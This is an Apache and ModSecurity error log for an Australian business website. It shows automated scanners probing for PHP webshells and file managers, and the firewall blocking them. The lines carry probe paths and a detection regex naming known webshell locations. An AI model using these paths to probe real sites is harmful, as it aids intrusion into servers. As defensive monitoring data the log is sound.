[Sat Apr 25 06:35:30.759501 2026] [:error] [pid 44425:tid 44432] [client 74.248.134.252:64066] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/aboute.php"] [unique_id "aevwMiUl-VlItvY2tR8OmgAAAMU"]
[Sat Apr 25 06:35:34.163334 2026] [:error] [pid 46083:tid 46110] [client 74.248.134.252:51524] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aevwNjxw_Zq74vWdjmk7pgAAARY"]
[Sat Apr 25 06:35:36.022385 2026] [:error] [pid 46083:tid 46095] [client 74.248.134.252:64661] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aevwODxw_Zq74vWdjmk7yAAAAQg"]
[Sat Apr 25 06:35:38.382019 2026] [:error] [pid 46083:tid 46088] [client 74.248.134.252:35233] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws82.php"] [unique_id "aevwOjxw_Zq74vWdjmk70wAAAQE"]
[Sat Apr 25 06:35:42.581568 2026] [:error] [pid 44320:tid 44364] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/ws82.php
[Sat Apr 25 06:35:42.844578 2026] [:error] [pid 44320:tid 44372] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/edit.php
[Sat Apr 25 06:35:43.104190 2026] [:error] [pid 44320:tid 44374] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/yw5bi63u.php
[Sat Apr 25 06:35:43.362974 2026] [:error] [pid 44320:tid 44360] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/tool.php
[Sat Apr 25 06:35:43.626997 2026] [:error] [pid 44320:tid 44362] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Sat Apr 25 06:35:43.896023 2026] [:error] [pid 44320:tid 44378] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-good.php
[Sat Apr 25 06:35:44.155553 2026] [:error] [pid 44320:tid 44365] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/class-t.api.php
[Sat Apr 25 06:35:44.421433 2026] [:error] [pid 44320:tid 44373] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/mk.php
[Sat Apr 25 06:35:44.680162 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Sat Apr 25 06:35:44.942938 2026] [:error] [pid 44320:tid 44358] [client 74.248.134.252:52216] File does not exist: /usr/local/apache/htdocs/suspended-page/a4.php
[Sat Apr 25 06:35:45.478834 2026] [:error] [pid 44320:tid 44359] [client 74.248.134.252:52216] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aevwQTmFqSpku_dij8h5XwAAAEM"]
[Sat Apr 25 06:35:46.556648 2026] [:error] [pid 44321:tid 44395] [client 74.248.134.252:63451] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aevwQo1b5lV-asWa_Y4voQAAAIw"]
[Sat Apr 25 06:35:49.419819 2026] [:error] [pid 46083:tid 46089] [client 74.248.134.252:52513] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aevwRTxw_Zq74vWdjmk73AAAAQI"]
[Sat Apr 25 06:35:50.900642 2026] [:error] [pid 46083:tid 46112] [client 74.248.134.252:2600] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/rip.php"] [unique_id "aevwRjxw_Zq74vWdjmk73QAAARg"]
[Sat Apr 25 06:35:54.067962 2026] [:error] [pid 44321:tid 44401] [client 74.248.134.252:52523] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aevwSo1b5lV-asWa_Y4vqAAAAJI"]
[Sat Apr 25 06:35:57.102205 2026] [:error] [pid 44319:tid 44343] [client 74.248.134.252:56316] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aevwTczJPAVLUb2pWtJWzgAAAA4"]
[Sat Apr 25 06:35:58.046977 2026] [:error] [pid 44319:tid 44332] [client 74.248.134.252:61328] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aevwTszJPAVLUb2pWtJWzwAAAAM"]
[Sat Apr 25 06:36:01.031730 2026] [:error] [pid 46083:tid 46110] [client 74.248.134.252:2605] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ioxi-o.php"] [unique_id "aevwUTxw_Zq74vWdjmk77gAAARY"]
[Sat Apr 25 06:36:03.772797 2026] [:error] [pid 44425:tid 44445] [client 74.248.134.252:63469] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aevwUyUl-VlItvY2tR8PywAAANI"]
[Sat Apr 25 06:36:06.847416 2026] [:error] [pid 46083:tid 46108] [client 74.248.134.252:35868] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aevwVjxw_Zq74vWdjmk79AAAARQ"]
[Sat Apr 25 06:36:11.476185 2026] [:error] [pid 46083:tid 46100] [client 74.248.134.252:56659] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aevwWzxw_Zq74vWdjmk7_gAAAQ0"]
[Sat Apr 25 06:36:14.386506 2026] [:error] [pid 46083:tid 46100] [client 74.248.134.252:56300] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/zoo.php"] [unique_id "aevwXjxw_Zq74vWdjmk8BgAAAQ0"]
[Sat Apr 25 06:36:17.289615 2026] [:error] [pid 44321:tid 44393] [client 74.248.134.252:56262] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "aevwYY1b5lV-asWa_Y4vygAAAIo"]
[Sat Apr 25 06:36:27.341969 2026] [:error] [pid 46083:tid 46087] [client 74.248.134.252:51914] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "aevwazxw_Zq74vWdjmk8GwAAAQA"]
[Sat Apr 25 06:36:29.351111 2026] [:error] [pid 46083:tid 46108] [client 74.248.134.252:51926] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/admlo.php"] [unique_id "aevwbTxw_Zq74vWdjmk8IQAAARQ"]
[Sat Apr 25 06:36:31.224637 2026] [:error] [pid 44321:tid 44406] [client 74.248.134.252:53914] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gcqoa.php"] [unique_id "aevwb41b5lV-asWa_Y4v7wAAAJc"]
[Sat Apr 25 06:36:37.225978 2026] [:error] [pid 44425:tid 44432] [client 74.248.134.252:39218] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gcqoa.php"] [unique_id "aevwdSUl-VlItvY2tR8P7gAAAMU"]
[Sat Apr 25 06:36:40.411365 2026] [:error] [pid 44425:tid 44431] [client 74.248.134.252:63021] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gcqoa.php"] [unique_id "aevweCUl-VlItvY2tR8P8wAAAMQ"]
[Sat Apr 25 06:36:43.130957 2026] [:error] [pid 44321:tid 44397] [client 74.248.134.252:63817] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gcqoa.php"] [unique_id "aevwe41b5lV-asWa_Y4wDAAAAI4"]
[Sat Apr 25 06:36:47.062683 2026] [:error] [pid 44320:tid 44374] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/xxx.php
[Sat Apr 25 06:36:47.346664 2026] [:error] [pid 44320:tid 44380] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/b.php
[Sat Apr 25 06:36:47.628967 2026] [:error] [pid 44320:tid 44361] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/grsiuk.php
[Sat Apr 25 06:36:47.920333 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-class-api.php
[Sat Apr 25 06:36:48.203742 2026] [:error] [pid 44320:tid 44371] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/bolt.php
[Sat Apr 25 06:36:48.488172 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/gifclass.php
[Sat Apr 25 06:36:48.789274 2026] [:error] [pid 44320:tid 44379] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/ccs.php
[Sat Apr 25 06:36:49.083744 2026] [:error] [pid 44320:tid 44366] [client 74.248.134.252:61892] File does not exist: /usr/local/apache/htdocs/suspended-page/first.php
[Sat Apr 25 13:54:18.567224 2026] [:error] [pid 46083:tid 46107] [client 193.37.32.145:36121] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/"] [unique_id "aexXCjxw_Zq74vWdjmnp3gAAARM"]
[Sat Apr 25 13:54:18.767439 2026] [:error] [pid 44319:tid 44334] [client 193.37.32.150:41697] [client 193.37.32.150] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/inputs.php"] [unique_id "aexXCszJPAVLUb2pWtKWegAAAAU"]
[Sat Apr 25 13:54:18.971191 2026] [:error] [pid 44319:tid 44329] [client 193.37.32.161:32269] [client 193.37.32.161] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin.php"] [unique_id "aexXCszJPAVLUb2pWtKWewAAAAA"]
[Sat Apr 25 13:54:19.173561 2026] [:error] [pid 44321:tid 44407] [client 193.37.32.157:37125] [client 193.37.32.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/enhanced-text-widget/analyst/src/403.php"] [unique_id "aexXC41b5lV-asWa_Y6T8AAAAJg"]
[Sat Apr 25 13:54:19.419655 2026] [:error] [pid 44321:tid 44405] [client 193.37.32.109:25385] [client 193.37.32.109] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/"] [unique_id "aexXC41b5lV-asWa_Y6T8QAAAJY"]
[Sat Apr 25 13:54:19.674592 2026] [:error] [pid 44321:tid 44392] [client 193.37.32.135:62683] [client 193.37.32.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/users.php"] [unique_id "aexXC41b5lV-asWa_Y6T8gAAAIk"]
[Sat Apr 25 13:54:19.874567 2026] [:error] [pid 44319:tid 44346] [client 193.37.32.106:51923] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/.well-known/core.php"] [unique_id "aexXC8zJPAVLUb2pWtKWfgAAABE"]
[Sat Apr 25 13:54:20.079947 2026] [:error] [pid 44321:tid 44393] [client 193.37.32.137:53611] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/3PJcpMFsD8B.php"] [unique_id "aexXDI1b5lV-asWa_Y6T8wAAAIo"]
[Sat Apr 25 13:54:20.277914 2026] [:error] [pid 44321:tid 44395] [client 193.37.32.137:23433] [client 193.37.32.137] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/goods.php"] [unique_id "aexXDI1b5lV-asWa_Y6T9AAAAIw"]
[Sat Apr 25 13:54:20.535141 2026] [:error] [pid 44319:tid 44336] [client 193.37.32.106:46551] [client 193.37.32.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/filemanager.php"] [unique_id "aexXDMzJPAVLUb2pWtKWfwAAAAc"]
[Sat Apr 25 13:54:25.747903 2026] [:error] [pid 44321:tid 44390] [client 193.37.32.146:54043] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/admin/"] [unique_id "aexXEY1b5lV-asWa_Y6T9QAAAIc"]
[Sat Apr 25 13:54:30.960457 2026] [:error] [pid 44319:tid 44340] [client 193.37.32.140:48957] [client 193.37.32.140] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/shell.php"] [unique_id "aexXFszJPAVLUb2pWtKWiQAAAAs"]
[Sat Apr 25 13:54:31.234637 2026] [:error] [pid 44425:tid 44427] [client 193.37.32.176:40675] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "windfarmcoolants.com.au"] [uri "/fm.php"] [unique_id "aexXFyUl-VlItvY2tR-MwgAAAMA"]
[Sat Apr 25 13:54:32.938463 2026] [:error] [pid 44321:tid 44385] [client 193.37.32.160:30223] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/shell/"] [unique_id "aexXGI1b5lV-asWa_Y6T_gAAAII"]
[Sat Apr 25 13:54:33.176147 2026] [:error] [pid 46083:tid 46099] [client 193.37.32.145:36723] [client 193.37.32.145] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/"] [unique_id "aexXGTxw_Zq74vWdjmnp4AAAAQw"]
[Sat Apr 25 13:54:33.461154 2026] [:error] [pid 44321:tid 44398] [client 193.37.32.170:37691] [client 193.37.32.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aexXGY1b5lV-asWa_Y6T_wAAAI8"]
[Sat Apr 25 13:54:33.662651 2026] [:error] [pid 44320:tid 44357] [client 193.37.32.169:36015] [client 193.37.32.169] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/themes/"] [unique_id "aexXGTmFqSpku_dij8jC5wAAAEE"]
[Sat Apr 25 13:54:33.926188 2026] [:error] [pid 44425:tid 44435] [client 193.37.32.152:64607] [client 193.37.32.152] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/222.php"] [unique_id "aexXGSUl-VlItvY2tR-MxQAAAMg"]
[Sat Apr 25 13:54:34.144373 2026] [:error] [pid 44321:tid 44384] [client 193.37.32.138:55237] [client 193.37.32.138] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/revslider/includes/external/page/"] [unique_id "aexXGo1b5lV-asWa_Y6UAAAAAIE"]
[Sat Apr 25 13:54:34.421193 2026] [:error] [pid 44320:tid 44375] [client 193.37.32.173:46561] [client 193.37.32.173] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "aexXGjmFqSpku_dij8jC6QAAAFM"]
[Sat Apr 25 13:54:34.721357 2026] [:error] [pid 44319:tid 44338] [client 193.37.32.146:40359] [client 193.37.32.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/speculative8.php"] [unique_id "aexXGszJPAVLUb2pWtKWigAAAAk"]
[Sat Apr 25 13:54:34.941522 2026] [:error] [pid 44319:tid 44349] [client 193.37.32.176:61069] [client 193.37.32.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "aexXGszJPAVLUb2pWtKWjQAAABQ"]
[Sat Apr 25 13:54:35.160683 2026] [:error] [pid 44319:tid 44332] [client 193.37.32.132:49575] [client 193.37.32.132] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/admin.php"] [unique_id "aexXG8zJPAVLUb2pWtKWjgAAAAM"]
[Sat Apr 25 13:54:36.949044 2026] [:error] [pid 46083:tid 46093] [client 193.37.32.133:55795] [client 193.37.32.133] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/"] [unique_id "aexXHDxw_Zq74vWdjmnp4QAAAQY"]
[Sat Apr 25 13:54:37.165590 2026] [:error] [pid 44319:tid 44351] [client 193.37.32.160:55173] [client 193.37.32.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class.api.php"] [unique_id "aexXHczJPAVLUb2pWtKWkAAAABY"]
